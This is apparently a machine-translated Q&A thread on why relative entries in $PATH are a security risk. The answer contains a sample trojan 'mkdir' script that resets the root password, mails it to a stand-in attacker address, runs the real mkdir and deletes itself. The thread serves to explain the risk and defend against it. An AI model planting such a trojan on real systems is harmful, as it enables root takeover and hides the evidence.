ehi*_*ime 7 security linux environment-variables
我们进行了一次审计,只是将我们标记为在$PATH
env 变量内有相对路径。我不确定这是否真的是一个安全问题,并希望与每个人联系,看看这是否真的是一个安全问题,或者它是否只是我假设的最佳实践。有人可以提供有关$PATH
与亲戚一起使用的任何安全问题的信息吗?谢谢
您使用的路径有两个问题。
让我们假设您有以下 shell 脚本,您用作 root 来更新某些 Web 应用程序,并且您已经设置了$PATH
正在使用的/etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Run Code Online (Sandbox Code Playgroud)
对于攻击者,您提供了一种在由所述攻击者控制的 shell 中执行某些内容的方法。一种攻击形式如下所示 - 我试图mkdir
在易受攻击的脚本中破坏对调用的控制。
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Run Code Online (Sandbox Code Playgroud)
然后我等你更新你的webapp。
现在会发生什么,易受攻击的脚本切换到/dev/shm
. 当它这样做并运行时,mkdir
它apps/java/bin/mkdir
首先找到程序,在这种情况下它会重置 root 密码,将新 root 密码的攻击者通过电子邮件发送给攻击者,实际上调用 real mkdir
(隐藏任何实际发生的事实)并将自身从攻击中移除小路。
作为根用户,您不知道发生了什么,并且一旦有效载荷被交付,证据就会被删除。
$PATH 中存在相对路径的问题是,如果攻击者可以在您的文件系统中创建具有给定名称的文件,您就有执行该文件的风险。
示例:df
或者监控显示 /var 已满,du
显示已满/var/spool/ftp/uploads
,您会做什么?
cd /var/spool/ftp/uploads
ls -ltr
Run Code Online (Sandbox Code Playgroud)
你被拥有了。您甚至看不到ls
输出,所以您永远不会知道。
将 ftp 上传替换为某个客户端网站的某些数据目录,或者共享计算机的 /tmp 目录,或者很多其他东西。
诚然,这种情况不会经常发生,但风险确实存在,而且写起来./script
很script
容易。
归档时间: |
|
查看次数: |
3260 次 |
最近记录: |